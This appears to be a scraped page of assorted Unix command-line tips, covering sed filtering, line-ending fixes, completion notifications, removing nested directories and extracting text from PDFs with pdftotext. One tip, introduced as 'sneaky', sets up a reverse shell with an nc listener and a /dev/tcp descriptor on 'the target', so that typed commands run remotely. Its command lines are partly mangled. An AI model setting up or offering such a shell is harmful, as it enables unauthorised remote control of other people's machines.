Check These Out
Working with log files that contains variable length messages wrapped between open and close tags it may be useful to filter the messages upon a keyword.
This works fine with GNU sed version 4.2 or higher, so pay attention to some unix distros (solaris, hp-ux, etc.).
Linux should be ok.
This is sneaky.
First, start a listening service on your box.
$ nc -l 8080 -vvv &
On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.
$ exec 5/dev/tcp//8080;cat &5 >&5; done
You can send it to the background like this:
$ (exec 5/dev/tcp//8080;cat &5 >&5;) &
Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.
You may also use +line:column syntax.
Replace 'csv_file.csv' with your filename.
Here "^M" is NOT "SHIFT+6" and "M". Type CTRL+V+M to get it instead.
Its shortest and easy. And its sed!, which is available by default in all linux flavours.. no need to install extra tools like fromdos.
tired of switching to the console to check if some command has finished yet? if notify-send does not work on your box try this one... e.g. rsync -av -e /usr/bin/lsh $HOME slowconnection.bar:/mnt/backup ; z (now fire up X, do something useful, get notified if this stuff has finished).
Removes all directories on given path, working from right to left, and stops when reaching a non-empty directory
Counterpart of
$ mkdir -p new/directory/path
Shortcut (must be issues as next command immediately after mkdir):
$ ^mk^rm
( see http://www.commandlinefu.com/commands/view/19/runs-previous-command-but-replacing )
Update all "ant" packages installed on Gentoo
PDF files are simultaneously wonderful and heinous. They are wonderful in being ubiquitous and mostly being cross platform. They are heinous in being very difficult to work with from the command line, search, grep, use only the text inside the PDF, or use outside of proprietary products.
xpdf is a wonderful set of PDF tools. It is on many linux distros and can be installed on OS X. While primarily an open PDF viewer for X, xpdf has the tool "pdftotext" that can extract formated or unformatted text from inside a PDF that has text. This text stream can then be further processed by grep or other tool. The '-' after the file name directs output to stdout rather than to a text file the same name as the PDF.
Make sure you use version 3.02 of pdftotext or later; earlier versions clipped lines.
The lines extracted from a PDF without the "-layout" option are very long. More paragraphs. Use just to test that a pattern exists in the file. With "-layout" the output resembles the lines, but it is not perfect.
xpdf is available open source at http://www.foolabs.com/xpdf/